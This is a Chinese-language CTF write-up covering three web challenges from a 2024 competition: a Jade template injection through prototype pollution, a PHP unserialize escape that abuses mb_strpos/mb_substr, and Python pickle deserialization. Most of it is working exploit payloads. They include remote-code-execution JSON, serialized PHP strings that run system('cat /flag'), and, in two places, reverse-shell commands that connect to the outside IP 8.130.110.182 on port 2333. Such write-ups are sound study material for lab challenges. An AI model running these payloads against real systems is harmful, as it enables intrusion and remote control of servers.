2024黃河流域
ezjade
程式碼很簡單,主要是找到汙染點在哪裡,也就是可控引數在哪
app.post('/post',function (req, res) {
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
var malicious_payload = JSON.stringify(req.body);
var body = JSON.parse(JSON.stringify(req.body));
var a = {};
merge(a, JSON.parse(malicious_payload));
console.log(a.name);
res.render('index.jade', {
title: 'HTML',
name: a.name || ''
});
}
可以看到訪問post路由時,會將a.name渲染進index.jade,時如果寫入惡意程式碼,訪問/post路由的時候會進行模版渲染此時將注入的程式碼被執行,導致RCE
跟進render函式,步入
一直跟到compile
跟進visitcode函式
visitCode: function(code){
// Wrap code blocks with {}.
// we only wrap unbuffered code blocks ATM
// since they are usually flow control
// Buffer code
if (code.buffer) {
var val = code.val.trim();
val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
if (code.escape) val = 'jade.escape(' + val + ')';
this.bufferExpression(val);
} else {
this.buf.push(code.val);
}
這裡讓code.buffer為false,就可以直接把code.val的值壓入buf
但是報錯plugin is not a function
加上"self":1
{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('calc')"}}
{"__proto__":{"self":1,"buffer":false,"val":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"')"}}
tao
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data) {
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}
class A {
public $A;
public $B = "HELLO";
public $C = "!!!";
public function __construct($A) {
$this->A = $A;
}
public function __destruct() {
$key = substrstr($this->B . "[welcome sdpcsec" . $this->C . "]");
echo $key;
eval($key);
}
}
if (isset($_POST['escape'])) {
$Class = new A($_POST['escape']);
$Key = serialize($Class);
$K = str_replace("SDPCSEC", "SanDieg0", $Key);
unserialize($K);
} else {
echo "nonono";
}
?>
mb_strpos與mb_substr
- %9f使得增加逃逸出一個字元(mb_strpos特性)
- %f0使得減少逃逸出三個字元(mb_substr特性)
具體測試程式碼:
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
echo $start.'<br>';
$end = mb_strpos($data, "]");
echo $end;
return mb_substr($data, $start, $end + 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
echo $key;
先來看正常傳參
可以看到是正常的把[]內的所有內容都擷取到了
- %9f使逃逸出一個字元(mb_strpos特性)
可以看到mb_strpos竟然將%9f這個不可見字元也算進去了,而且還提前結束了一位
但是mb_substr是正常進行擷取的,所以導致增加一個字元
我們利用%9f就可以使得[]裡的16個字元全部逃逸,然後就可以任意構造我們想要的字元了(長度也得是16)
-
%f0使逃逸出三個字元(mb_substr特性)
\xf0開頭的UTF-8字元應該是4位長度,並符合UTF-8的規則
可以看到mb_strpos正常識別不可見字元%f0,但是mb_substr將傳進去的%f0abc四個字元當成了一個字元
所以我們把[welcome給吃掉的話需要8位,也就%f0abc%f0abc%f0%9fab
這裡%f0abc將4字元當成1字元導致逃逸出3字元,%f0%9fab由於%9f是符合規則的所以這是把四個字元當成了兩個字元導致逃逸出2字元
法一:純%9f
";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}
87個,補上87個SDPCSEC
SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:46:"%f0%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fsystem("cat /flag");#";s:1:"C";s:5:"aaaaa";}
法二:%9f結合%f0
pickle
pickle反序列化
用i指令反彈shell
import base64
import pickle
import pickletools
a = "gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg=="
data=base64.b64decode(a)
print(pickletools.dis(data))
#\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x94\x8c\x05Login\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x011\x94\x8c\x03pwd\x94h\x06ub.
b=b'''(S'bash -c "bash -i >& /dev/tcp/8.130.110.182/2333 0>&1"'
ios
system
.'''
print(base64.b64encode(b))
#KFMnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMTAuMTgyLzIzMzMgMD4mMSInCmlvcwpzeXN0ZW0KLg==
新學到的,也可以報錯帶出
pickle反序列化,開啟debug,用報錯
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat flag.txt').read())",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))